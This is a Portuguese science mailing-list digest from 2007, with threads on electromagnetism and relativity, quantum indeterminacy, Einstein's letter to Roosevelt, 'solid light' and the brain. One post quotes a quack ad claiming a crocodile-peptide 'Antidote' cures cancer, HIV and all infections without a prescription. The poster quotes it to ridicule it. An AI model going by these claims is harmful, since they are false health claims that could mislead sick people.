FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 13:51

E agora, revendo seu probleminha com as figuras, eu noto que o fio
está carregado, ou seja, é um "tubinho de cargas positivas". Então
esqueça o que eu disse abaixo e vamos repensar a coisa... Do zero!

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> Léo,
>
> Acho que descobri onde está o problema do seu experimento hipotético.
> Daí fiquei me perguntando: porque não vimos isso logo de início? Vamos
> lá...
>
> O que a carga Q "sentirá", se "sentir algo", será a presença de um
> campo magnético B resultante do movimento de todas as cargas do fio.
> Porém o fio tem carga total nula e, na situação inicial, podemos
> considerar que não tenha nenhuma corrente passando por ele. Pois bem,
> quando visto do novo referencial, ainda que você possa imaginar
> "correntes" (e pode!), haverá duas delas no fio: uma corrente de
> elétrons e outra de prótons, ambas no mesmo sentido, pois ambos estão
> em movimento para esse novo observador.
>
> Usando as regrinhas da mão direita e da mão esquerda dá para ver
> facilmente que os elétrons criariam um campo magnético B em Q e, por
> sua vez, os prótons criariam no mesmo lugar um campo -B, resultando
> assim em um campo magnético resultante nulo em Q.
>
> Cruzes, isso parece tão simples dito dessa forma que até me espanta. :)
>
> Como foi que esquecemos dos prótons antes? :)))
>
> Abraços,
> JC
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> <leobarretos@> escreveu
> >
> > Olá JC,
> > No texto abaixo:
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> > -----Mensagem Original-----
> > De: "José Carlos Antonio" <profjc2003@>
> > Para: <ciencialist@yahoogrupos.com.br>
> > Enviada em: domingo, 13 de maio de 2007 20:43
> > Assunto: [ciencialist] Re: Preciso fazer uma pergunta, pois estou
> c/dúvida
> >
> >
> > Léo,
> >
> > >A velocidade v que você usa na fórmula Fm = Qv/c X B não deve ser a
> > velocidade da carga Q em relação ao campo? <
> >
> > Léo: Sim, é a mesma! E, no fundo é em relação ao campo B. Observe
> que para a carga Q o campo é 'fixo' (do mesmo modo que vc pode adotar
> como fixo os demais átomos e elétrons do fio que não participam como
> portadores de carga na corrente elétrica. Lembre-se da Experiência de
> Rowland!
> >
> > >Supondo que o fio criasse um campo sensível à Q e dependente da
> > velocidade do observador, teríamos o resultado interessante de que
> > qualquer fio retílineo criaria infinitos campos simultâneos, um para
> > cada um dos infinitos observadores possíveis, mas isso não parece ser
> > muito "natural" (embora possa ser tratado teoricamente).<
> >
> > Léo: Mas, será isso mesmo; apenas que, somente o componente
> perpendicular ao fio é o que interessa. Por outro lado, para
> determinados observadores (correndo perpendicular ao fio, por exemplo)
> isso não definiria corrente alguma e além disso haveria contração de
> espaço e tempo em outras direções.
> >
> > >Creio que a carga Q do seu problema "não vê" o campo que o observador
> > vê porque ela está em repouso em relação às cargas do fio. Ou, em
> > outras palavras, o que importa nesse problema é a velocidade relativa
> > entre a carga Q e as cargas do fio.<
> >
> > Léo: Não, o que importa é a velocidade relativa entre a carga Q e o
> campo B (que para todos os efeitos é fixo ao redor do fio).
> >
> > >Evidentemene fica a pergunta: se o observador vê um campo magnético
> > gerado pelo fio e vê uma carga elétrica Q "movendo-se", então porque
> > será que ele não vê nenhuma força magnética "extra" alterando a
> > resultante em Q? Bom, talvez ele veja, mas em compensação também verá
> > um campo elétrico não-estático. Eu não pretendo fazer as contas, mas
> > acho que se levarmos isso em consideração ficará mostrado que a
> > resultante sobre Q será a mesma.<
> >
> > Léo: Não é assim. Vou reproduzir a Experiência de Rowlando para vc
> perceber a 'estacionaridade' de B e o movimento relativo de Q em
> relação a B.
> >
> > Experiência de Rowland: Considere um disco de PVC de raio R girando
> no plano horizontal mediante uma manivela instalada no seu eixo
> vertical. Na borda desse disco há um tubo metálico eletrizado com
> carga Q1 (uniformemente distribuida no comprimento 2.pi.R). Pondo-se
> esse disco para girar com frequencia F, a carga Q1 se comporta como
> carga em movimento e define a corrente I = F.Q1. O campo magnético B
> que se estabelece (por exemplo em todo plano que contém o disco) é
> estacionário (fora do disco, vertical para baixo; dentro do disco
> vertical para cima) --- é o campo criado pela corrente numa espira.
> > Fixando na borda do disco uma vareta isolante, radial para fora, e
> na ponta da vareta coloquemos uma carga Q2. Pronto, a carga Q2 cortará
> as linhas de força de B e sobre ela aparecerá a força magnética de
> Lorentz. Aqui, a velocidade angular de Q2 será a mesma da de Q1 (a
> linear não!).
> >
> > Estamos encaminhando à contento?
> >
> > aquele abraço,
> >
> > Léo
> >
> > Pense nisso. (E faça as contas, se tiver tempo)
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> > <leobarretos@> escreveu
> > >
> > > Oi Victor,
> > >
> > > vc chegou a ver as figuras em
> > >
> >
>
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm
> > ?
> > >
> > > []'
> > > ===========================
> > > Luiz Ferraz Netto [Léo]
> > > leobarretos@
> > > http://www.feiradeciencias.com.br/doacoes.asp
> > > ===========================
> > > -----Mensagem Original-----
> > > De: "J.Victor" <j.victor.neto@>
> > > Para: <ciencialist@yahoogrupos.com.br>
> > > Enviada em: domingo, 13 de maio de 2007 12:51
> > > Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou
> > c/dúvida
> > >
> > >
> > >
> > >
> > >
> > >
> > > De: ciencialist@yahoogrupos.com.br
> > [mailto:ciencialist@yahoogrupos.com.br]
> > > Em nome de Luiz Ferraz Netto
> > > Enviada em: domingo, 13 de maio de 2007 09:45
> > > Para: ciencialist@yahoogrupos.com.br
> > > Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou
> > c/dúvida
> > >
> > >
> > >
> > > Léo: Oi Victor,
> > >
> > > vou contestar tudo que vc disse e dar os argumentos pertinentes.
> Apenas
> > > aguarde para a continuação da leitura do texto onde vou citar as
três
> > > possibilidades.
> > >
> > > Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte
> > texto de
> > > sua argumentação:
> > >
> > > >"Mas um campo magnético devido a uma corrente I numa dada direção é
> > > concêntrico à direção da corrente, sendo, portanto, perpendicular ao
> > > segmento R, saindo do papel ou entrando no papel onde R está
> > desenhado, esse
> > > mesmo R que liga o centro de L ao ponto onde está Q; mas somente se
> > fosse o
> > > caso de haver movimento relativo entre eles. Que, evidentemente,
> não há.
> > > Assim, a força resultante sobre Q seria o resultado de uma
composição
> > > vetorial entre Fm e Fe, e não resultante de operação escalar, como
> > foi feito
> > > acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
> > > depreende da proposição inicial."
> > >
> > > Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só;
> > a regra
> > > da mão direita para achar a direção e sentido do campo magnético B.
> > OK, o
> > [ ... ]
> >
>




SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 14:04

A carta em questão foi escrita principalmente por Szilard, com revisão e
assinatura de Einstein. Isso precipitou a criação do Projeto Manhattan, mas,
dada a concentração de cientistas nucleares nos EUA no início da década de
40, a construção da bomba era inevitável.

[ ]s

Alvaro Augusto




----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, May 13, 2007 10:45 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


Alberto:
Só tinha cópia da primeira....
Muito obrigado!!

silvio.
----- Original Message -----
From: Alberto Mesquita Filho
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 13, 2007 10:20 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


----- Original Message -----
From: "Silvio Cordeiro"
Sent: Friday, May 11, 2007 11:13 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

> Meu scanner quebrou se não colocaria aqui a carta que ele mandou
> para o Pres. Roosevelt comentando os estudos para a primeira bomba
> A....

Vide (em inglês) http://hypertextbook.com/eworld/einstein.shtml

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Contra todos os vírus e bactérias: peptídeos
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 14:27

Óleo de Cascavel?

http://www.biologicalmiracle.net/

--//--

Minha tradução:

O Antidote é uma oferta única de Peptídeo Anti-Microbial oferecendo o
mais largo espectro de poder de cura do mercado atual. Ele mata todas
as BACTÉRIAS e VÍRUS mortais no corpo.

O Antidote atua como um aditivo para o sistema imunológico. Ele irá
combater e proteger seu corpo de todas infecções ativadas por vírus e
bactérias. O Antidote pode ser tomado com segurança por crianças e
adultos mesmo que estejam tomando outras medicações.

Seus poderes de fortalecimento do sistema imunológico tornam-no o
método perfeito para manter um estilo de vida estável e saudável.

O Peptídeo é uma Proteína Extraída do Crocodylus Porosus, o maior
crocodilo vivo e a espécie viva mais antiga na Terra (mais de 20
milhões de anos). Um Peptídeo é uma Proteína Natural feita de
Aminoácidos amarrados juntos que destróem virus e bactérias poderosas
ao penetrar suas membranas.

Biologicalmiracle.com simplesmente pegou a melhor arma do crocodilo
contra as infecções e tornou-a funcional para aplicação em seres humanos.

O Antidote não exige receita médica ou mesmo uma consulta antes de ser
tomado já que é uma alternativa natural aos Antibióticos e drogas que
tem falhado para eliminar virus ou bactérias virulentos que tem
desenvolvido uma imunidade aos antibióticos e drogas atuais produzidos
pela medicina moderna.

A gripe comum é uma coisa do passado, mesmo infecções sérias como
Câncer, HIV, Gripe Aviária, SARS e muitas outras doenças perigosas à
vida podem ser tratadas pelos poderes milagrosos de cura do Antidote.

Recomendamos que o Antidote seja tomado anualmente para garantir
proteção total. Para doenças mais sérias recomendamos que ele seja
tomado a cada 3 meses.

Praticamente todas doenças malignas ficam ativas por causa dos virus e
bactérias, a principal causa de infecções. Uma doença deve ser
colocada em dormência para parar as infecções posteriores. É essencial
matar os vírus e bactérias primeiros, para permitir ao corpo que se
recupere. O Antidote é o primeiro passo em direção a uma vida saudável.

Ele não é só para quem está passando pela gripe ou resfriado, mesmo se
você não estiver doente, o Antidote pode ser usado como um aditivo ao
sistema imunológico, fortalecendo-o contra ataques. É a forma perfeita
de combater as doenças antes que elas tenham uma chance. Você vai se
sentir mais forte e saudável logo nas primeiras 48 horas depois de
tomar o Antidote.

É todo o milagre que irá matar todos os vírus e bactérias que seu
corpo puder jogar contra ele. Milhões de dólares foram gastos n
apesquisa e desenvolvimento neste campo, e você consumidor estará se
beneficiando deste avanço científico. Tenha você a gripe comum, uma
doença terminal, ou se você só quer proteger seu corpo de virus e
bactérias no futuro, este é o único produto que você deve comprar.

O Antidote só está disponível pelo website Biologicalmiracle.com.

Nenhuma grande companhia de remédios quer que você coloque as mãos
nele. Companhias farmacêuticas iriam perder bilhões todos os dias se
este produto estivesse nas prateleiras junto com as marcas mais
conhecidas. É exatamente o tipo de produto que as grandes corporações
querem descartar como apenas "outra moda", mas não deixe que eles te
enganem. Este produto é 100% real e tem o poder de mudar a forma que
os humanos olham para as alternativas às drogas para sempre. O
Antidote é um produto limitado devido ao rápido crescimento no
interesse global, apresse-se e compre-o enquanto estiver disponível.

Compre o Antidote agora mesmo, e amanhã você não só se sentirá como
uma pessoa diferente, você será uma pessoa diferente. Nosso sistema
imunológico é a única arma que os seres humanos tem para combater as
infecções causadas por vírus e bactérias, e o Antidote dá ao seu corpo
o incremento que ele precisa para viver uma vida saudável e feliz. Não
deixe a gripe comum, resfriado, ou algo mais sério ter controle sobre
você. Aqui tem algo que você pode fazer para ajudar-se a si mesmo,
tomar o Antidote, a razão é que você pode tomar ele pela manhã e
aproveitar a vida em sua capacidade máxima. O Antidote irá mudar sua
vida para sempre. Não deixe esta oportunidade passar.

O Antidote é vendido em uma garrafinha de 5ml e é tomado oralmente
como dose simples, levando 48hs para se tornar efetivo.

(blá, blá, blá...)

--//--

Não é fantástico?

Antibióticos, coquetel anti-AIDS, e um monte de coisas caras e
custosas, que em alguns casos até causam prejuízo à saúde, e tudo que
você precisa é apenas do Peptídeo!

Uma página sobre peptídeos que eu achei:
http://www.universitario.com.br/celo/topicos/subtopicos/citologia/bioquimica/peptideos.html

Por quê não falam deste poder maravilhoso dos peptídeos, de curar
todas as doenças?



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 14:28

>
>Antes de refutar o princípio da incerteza é preciso estudar
>profundamente a física que gerou essa teoria e esse conhecimento, e
>partir desta para novos caminhos. Não é possível começar do nada, de
>uma "intuição" de leigo, e achar que é suficiente para reconstruir
>toda uma área de estudo, que, como lembra JC, tem funcionado bem até o
>momento, para os propósitos determinados.
>

Eu só queria entender, se possível, como que se "conclui" que algo acontece
sem nenhuma causa. Eu sei que a idéia de causalidade é uma indução pela
observação da natureza mas, sendo esta o objeto de estudo da física, não
seria mais sensato pensar que tem algo errado ou faltando e trabalhar em
cima desta hipótese?

Quanto a ter que reconstruir toda uma teoria para uma melhor explicação,
creio que não deveria ser um problema para um cientista, mas sim a sua
obrigação para com a ciência.

A impressão que eu tenho, como leigo, é que a mecânica quântica, sendo um
teoria bastante completa e funcional, os cientistas poderiam estar se
negando a alterá-la, com medo de ver o "castelo ruir"... É a impressão que
eu tenho, pois não sei como podem afirmar com absoluta certeza que não há
mais nenhuma força além das 4 do modelo padrão, como podem ignorar
completamente a mais-que-evidente gravidade, e como podem dizer, ainda, que
se o comportamento observado de uma partícula não está previsto de neste
modelo, "logo" ele não tem causas! Isso me parece algo bem forçado!!!

Será mesmo que a gravidade, mesmo com experimentos mostrando que age até
sobre a luz, não age (é absolutamente zero) dentro de um átomo? Será que
quarks e léptons são elementares mesmo? Será que estes não são compostos de
outras sub-partículas unidas por outra força que possa agir residualmente
para fora destes? (Como a força residual EM)

Enfim, pra mim, o que dizem é a mesma coisa que afirmar que a física
quântica já é a verdade absoluta, não há mais nada pra fazer, mesmo com sua
evidente incompletude (como todas, mas, no caso, muito evidente) e que
ignora completamente alguns fatos.

[]´,s
Jeff.



SUBJECT: Descoberto estado sólido da luz
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 14:28

Olá

Será que enfim poderemos comprar um sabre de luz Jedi de Star Wars?..:-)

Um abraço.

Homero
__________________________________________
Descoberto estado sólido da luz

Pesquisadores das universidades de Melbourne, Austrália, e Cambridge,
Inglaterra, desenvolveram uma nova teoria que mostra que a luz pode se
comportar como um sólido. "A luz sólida irá nos ajudar a construir a
tecnologia deste século," diz o Dr. Andrew Greentree.

Ao invés de utilizar as ferramentas tradicionais encontradas nos
laboratórios de óptica, os cientistas tiveram que empregar técnicas
comumente utilizadas para estud
ar a matéria.

Luz sólida

"Fótons de luz sólidos repelem-se mutuamente como acontece com os
elétrons. Isto significa que nós podemos controlar os fótons, abrindo
as portas para novos tipos de computadores mais rápidos," diz o cientista.

No trabalho , os cientistas demonstram teoricamente como projetar a
"transição de fase" dos fótons, fazendo-os passar do comportamento de
sólido - quando eles interagem entre si como os elétrons - para o
comportamento de onda tradicional da luz - na qual os fótons não
interagem entre si.

"Normalmente os fótons fluem livremente mas, nas condições corretas,
eles se repelem, e formam um cristal," diz Greentree.

A nova teoria cria um campo totalmente novo de pesquisa, fazendo uma
interseção entre a óptica e a física da matéria condensada. Agora, os
pesquisadores experimentalistas vão começar a estudar a nova teoria
para descobrir formas de testá-la na prática.

http://tecnocientista.info/noticia_detalhe.asp?cod=5488




SUBJECT: Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 14:58

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Eu só queria entender, se possível, como que se "conclui" que algo
> acontece sem nenhuma causa.

No caso quântico, pelo teorema de Bell.

Se os valores de duas grandezas são conjugadas (e portanto vale o
princípio da incerteza) espera-se uma dada proporção de resultados qdo
se mede uma das grandezas, se os valores não são conjugados (a
indeterminação se dá por desconhecimento de variáveis ocultas), outra
proporção é esperada.

http://www.upscale.utoronto.ca/GeneralInterest/Harrison/BellsTheorem/BellsTheorem.html

[]s,

Roberto Takata



SUBJECT: P/ Jeff - Re: Determinismo e incerteza
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 15:12

Olá Jeff

Jeff: "Eu só queria entender, se possível, como que se "conclui" que
algo acontece sem nenhuma causa."

Possível é, mas não há uma maneira fácil nem simples, pois se trata de
uma área bem difícil e complexa, o estudo das estruturas fundamentais
da matéria e do universo. São décadas de estudos, por cientistas
dedicados e profundamente envolvidos com a física teórica, e que
resultaram em um conjunto gigantesco de equações, experimentos e
pesquisas.

Seria realmente impressionante se você, leigo como eu, entendesse tudo
de física quantica a partir de algumas poucas mensagens em uma lista
de discussão (por si só já um ambiente limitado para grandes explanações).

Então, primeiro precisa entender que o que estes cientistas propõem
não é algo que eles imaginaram a partir do nada, depois de uma noite
de bebedeira, mas tem enorme base a sustentar cada alegação. E em
segundo talvez fosse interessante começar por um livro de divulgação,
e ir se informando com outros livros mais específicos. Artigos em
revistas científicas são outra boa fonte de dados (eu digitalizei um
da Scientific American Brasil sobre a natureza da matéria, se desejar
ler eu envio para você).

Isso porque a "conclusão" que procura é algo que não pode ser
apresentado em algumas linhas e pronto. Da mesma forma como o Ferrari
parece não entender que E=mc2 não é algo surgido do nada, mas
resultado de enorme esforço e o final de equações complexas e
avançadas, criadas por uma mente genial como Einstein, e analisadas,
reanalisadas, criticadas, testadas, retestadas, duramente examinadas,
por outras mentes geniais, antes de ser resumida nessa linda equação
final.

Jeff: "Eu sei que a idéia de causalidade é uma indução pela observação
da natureza mas, sendo esta o objeto de estudo da física, não seria
mais sensato pensar que tem algo errado ou faltando e trabalhar em
cima desta hipótese?"

Sim, e muitos o fizeram, gente como, bem, Einstein, que não gostava
muito da mecânica quantica..:-) E fizeram, e testaram e procuraram,
etc, e até hoje estão procurando, mas ainda não se encontrou a falha.
Por isso, só por isso, ela resiste.

Jeff: "Quanto a ter que reconstruir toda uma teoria para uma melhor
explicação, creio que não deveria ser um problema para um cientista,
mas sim a sua obrigação para com a ciência."

Se houver motivo para tanto, com certeza. Mas não apenas pelo prazer
de reconstruir tudo a cada instante, pois seria improdutivo e irreal.

Jeff: "A impressão que eu tenho, como leigo, é que a mecânica
quântica, sendo um teoria bastante completa e funcional, os cientistas
poderiam estar se negando a alterá-la, com medo de ver o "castelo
ruir"... "

A palavra chave aqui é "leigo". E não é algo pejorativo, pois eu sou
leigo, e todos são leigos em alguma área do conhecimento (um físico
ganhador do Premio Nobel ainda deve chamar o encanador para consertar
sua pia da cozinha..:-).

E sua "impressão" provavelmente deriva da acusação recorrente, e
falsa, contra a ciência, de que ela tem uma "preferência" por
conhecimento estabelecido e luta "contra as inovações".

Na verdade, qualquer físico que demonstre que a física quantica está
errado, ou mesmo que precisa de um ajuste (e que possa demonstrar isso
de forma eficaz), ganha um Premio Nobel e será incensado por todos os
seus pares. Isso no entanto não significa que a ciência esteja
disposta a trocar cada conhecimento confiavelmente produzido até o
momento por qualquer alegação ou afirmação nova.

Ela muda, mas é conservadora em relação as provas que exige para mudar.

Jeff: "É a impressão que eu tenho, pois não sei como podem afirmar com
absoluta certeza que não há mais nenhuma força além das 4 do modelo
padrão, como podem ignorar completamente a mais-que-evidente
gravidade, e como podem dizer, ainda, que se o comportamento observado
de uma partícula não está previsto de neste modelo, "logo" ele não tem
causas! Isso me parece algo bem forçado!!!"

Há um conjunto de enganos aqui, Jeff. Em especial, a questão da
absoluta certeza. Isso não existe, em ciência. Ninguém está usando a
expressão 'absoluta certeza", a não ser os que precisam construir um
"espantalho" da ciência para ter o que atacar. Em geral vem com a
expressão "esses cientistas pensam que tem a verdade absoluta" e
outras do tipo.

Quem tem certezas absolutas é a religião, não a ciência. Demonstre uma
causa para além do modelo padrão, e será aceita.

O problema é que a ciência não sustenta alegações sem evidências.
Assim, se não há evidências de uma causa, não se pode aceitar que
exista uma causa, ou supor, ou chutar ou esperar, ou acreditar ou
qualquer coisa do tipo. Se existem variáveis ocultas, então tudo se
comporta "como se não houvesse causa", sem que se possa "chutar" que
existem variáveis ocultas (até que surjam evidências disso).

Outro erro é pensar que se "ignora" a gravidade. Não é isso. O que
acontece é que não temos como colocar as equações, relações
matemáticas, entre as forças e a gravidade. E procuramos por essa
relação, embora nada obrigue que esta exista.

Jeff, acho que seria realmente muito interessante dar uma lida em
alguns livros que ajudariam a entender, sem ser de forma totalmente
leiga como no momento, essas questões difíceis e complexas. Tentar
entender a partir das analogias e metáforas usadas pelos físicos para
"tentar" explicar aos leigos, é realmente muito difícil, e cada falha
na analogia, fica parecendo que a falha é na física.

Um abraço.

Homero




SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 15:13

>
>Sinceramente, eu creio que muitas mentes brilhantes pensam nesses
>problemas todos os dias e que num dado momento novas idéias vão
>surgir, mas enquanto elas não surgem não adianta nada ficar tentando
>diminuir o que já existe com base apenas no desejo de que mudanças
>ocorram.
>

Creio que faltem mentes brilhantes hoje em dia. Não estou tentando diminuir
a física quântica, estou questionando, o que entendo como saudável numa
lista de *discussão* de ciência. E tenho sim o desejo de que as coisas sejam
melhor explicadas no futuro.

>
>Para se propor algo melhor do que o princípio da incerteza deve-se
>antes de mais nada procurar entender o que esse princípio significa,
>quando, como e porque ele foi proposto e, principalmente, o que se
>pode fazer a partir dele.
>

Concordo, mas não estou propondo nada. Só estou questionando uma idéia e
querendo ouvir a opinião de vocês. Se existe um raciocínio lógico por traz
desta idéia, eu gostaria de entendê-la.

A diferença entre religião e ciência que eu considero mais importante é,
justamente, a possibilidade de entendimento desta última por raciocínio
lógico. Não estou dizendo que eu consigo entender tudo, cada um tem seu
limite, mas posso tentar e questionar, o que não é nenhuma heresia.

>
>O resto é conversa de "engenheiro" que não entende de física mas sonha
>em construir um novo edifício para a ciência, como se isso pudesse ser
>feito juntando tijolos ao acaso (má práica de engenharia, aliás).
>

Não é essa a idéia. E má prática da ciência é aceitar tudo sem questionar,
como seguidores de uma religião, como se as idéias dos "mentes brilhantes"
fossem inalcançáveis, inquestionáveis, palavras de semi-deuses :-)

[]´,s
Jeff.



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 15:22

>>
>> Eu só queria entender, se possível, como que se "conclui" que algo
>> acontece sem nenhuma causa.
>>
>
>No caso quântico, pelo teorema de Bell.
>
>Se os valores de duas grandezas são conjugadas (e portanto vale o
>princípio da incerteza) espera-se uma dada proporção de resultados qdo
>se mede uma das grandezas, se os valores não são conjugados (a
>indeterminação se dá por desconhecimento de variáveis ocultas), outra
>proporção é esperada.
>
>http://www.upscale.utoronto.ca/GeneralInterest/Harrison/BellsTheorem/BellsTheorem.html
>

Sobre Bell, eu tinha lido apenas sobre a sua teoria da impossibilidade de
reproduzir os resultados da quântica pelo modelo da clássica. Mas isso ainda
não prova que a quântica está certa, né. Vou ler depois com calma este link
que você enviou. Valeu!

[]´,s
Jeff.



SUBJECT: Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 16:01

----- Original Message -----
From: "oraculo333"
Sent: Monday, May 14, 2007 11:11 AM
Subject: [ciencialist] Re: Determinismo e incerteza

> O texto postado pelo ALberto é de 1895.
> Naquele momento, duas teorias rivais se
> debatiam, não dogmaticamente (embora
> pessoas possam se apresentar de forma
> dogmática em relação as teorias), mas
> procurando evidências que decidissem a
> disputa. De lá para cá, muito se descobriu,
> e dificilmente a teoria atômica seria
> refutada apenas por um dogma anti-teoria
> atômica.

É interessante notar que preludiei o texto com a seguinte frase que
você, por motivos que desconheço, desconsiderou: "Como teria dito
Ludwig Boltzmann, *num contexto bastante semelhante*..."

Com respeito a haver ou não dogmatismos na época (1895), é a sua
palavra contra a de Boltzmann. Se ele está exclamando "Away with all
dogmatism!", parece-me que ele não concordaria com a sua observação.

> Permita-me discordar do Alberto e
> do Jeff, pois acho que estão usando
> o termo "dogma" de forma um tanto frouxa.

No caso em pauta quem utilizou a expressão dogmatismo foi o Ludwig.
Eu apenas reproduzi um de seus textos. De qualquer forma, não entendi
a sua retórica e portanto faltaram-me elementos para concordar se o
Ludwig estaria "usando o termo dogma de forma um tanto frouxa".

Quanto ao mais, nada a relatar a não ser dizer que respeito seu
posicionamento, ainda que não concorde, em essência, com a maioria do
que foi dito na sua msg (supra citada). Não entro em detalhes pois
cada ponto de discordância quase que justificaria um livro e não
estou com tempo disponível para escrevê-los. A rigor, muito do que eu
poderia dizer já está disponível em meu site, mas sequer estou com
tempo para situá-los.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: P/ Alberto - Re: Determinismo e incerteza
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 16:16

Olá Alberto

Alberto: "É interessante notar que preludiei o texto com a seguinte frase que
você, por motivos que desconheço, desconsiderou: "Como teria dito
Ludwig Boltzmann, *num contexto bastante semelhante*...""

Desculpe, não foi minha intenção e eu gostei, e concordo, com a frase de Boltzmann. Em outro contexto, e na época, sobre atomismo, é algo bem colocado e deve ter sido parte importante do debate travado. Talvez não tenha me explicado corretamente.

Apenas tentei demonstrar que alguns conhecimentos se mantém, enquanto outros desaparecem, não porque são substimados ou dogmas, mas por não se mostrarem reais ou válidos.

Alberto: "Com respeito a haver ou não dogmatismos na época (1895), é a sua
palavra contra a de Boltzmann. Se ele está exclamando "Away with all
dogmatism!", parece-me que ele não concordaria com a sua observação."

He, he, he.:-) E quem sou eu para discordar do Boltzmann de toda forma..:-) Mas ainda acho que dogmatismos, em ciência,s e deve mais as pessoas e sua natureza humana que a própria ciência, que tem construido mecanismos para justamente evitar dogmas e permitir que sempre se possa discordar e provar pontos de vista diferentes.

Alberto: "No caso em pauta quem utilizou a expressão dogmatismo foi o Ludwig.
Eu apenas reproduzi um de seus textos. De qualquer forma, não entendi
a sua retórica e portanto faltaram-me elementos para concordar se o
Ludwig estaria "usando o termo dogma de forma um tanto frouxa"."

Bem, presumi que como postava o texto de Bolstzmann, também concordava com ele. Minha retórica que se seguiu foi apenas para explicar meu ponto de vista quanto a afirmação recorrente sobre a ciência (e não pessoas cientistas) ser dogmática.

Penso que na época em que Boltzmann apresentou a frase, e sobre o assunto de que tratava a frase, ele pode ter até razão, e as duas posições sobre p átomo estariam sendo brandidas de forma dogmática. Mas o que se seguiu, a meu ver, foi o natural processo científico, com evidências dirimindo a questão de forma que mesmo os dogmáticos tiveram de deixar de lado seus dogmas a respeito.

Alberto: "Não entro em detalhes pois
cada ponto de discordância quase que justificaria um livro e não
estou com tempo disponível para escrevê-los. A rigor, muito do que eu
poderia dizer já está disponível em meu site, mas sequer estou com
tempo para situá-los."

Concordo com ambas afirmações, esse tipo de discordância merece mais que um livro, e realmente temos cada vez menos tempo para debates assim tão amplos e interessantes.

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Pra que serve o cérebro? ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: y <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 16:19

PRA QUE SERVE O CÉREBRO? - por Ferrari
(sobre funcionamento do cérebro)

http://egogame.blogspot.com


Pra que serve um computador?

Computadores fazem parte do nosso dia a dia, mas será
que sabemos pra que eles servem? Podemos dizer que um
computador serve pra fazer milhares de coisas: pra
fazer cálculos, produzir e tocar musicas, produzir e
tocar filmes, fazer planilhas, fazer desenhos, retocar
fotografias e etc.

Sim, realmente, um computador é capaz de executar
milhares de objetivos, mas em essência, o que é que um
computador está fazendo quando está executando um
objetivo?

Se entendermos que objetivo é “desejo por um objeto”.
Quando um computador está executando um objetivo, na
verdade, ele está satisfazendo um desejo. Ele está
satisfazendo o desejo do usuário.

Um computador é uma máquina de satisfazer desejos.

Um computador é uma lâmpada de Aladim eletrônica. E
qual é o beneficio que o gênio da lâmpada eletrônica
nos oferece? O beneficio de raciocinar por nós.

Um programa de computador poupa o usuário do trabalho
metal que existe entre seu desejo e a satisfação. Ou
seja, poupa o usuário de fazer por si o que o
computador faz por ele: raciocinar um meio de se
chegar a satisfação.

Por exemplo, se o desejo do usuário é imprimir um
formulário, ele simplesmente aperta o botão imprimir,
e, como que por milagre, o computador raciocina
(computa) todo o trajeto até a satisfação, depois
ensina a impressora o que fazer, e pronto: desejo
satisfeito.

Mas se o computador é uma lâmpada de Aladim
eletrônica, o que é o cérebro?

Observe: toda vez que surge em sua mente o desejo de
beber água, seu cérebro não leva seu corpo até um
bebedouro? Quando surge em sua mente o desejo de
dormir, seu cérebro não faz seu corpo vestir o pijama
e ir pra cama?

Ou seja, quando surge um desejo em sua consciência,
seu cérebro coloca todo seu hardware (corpo) rumo a
satisfação do desejo, não é mesmo?

O cérebro também é uma máquina de satisfazer desejos.
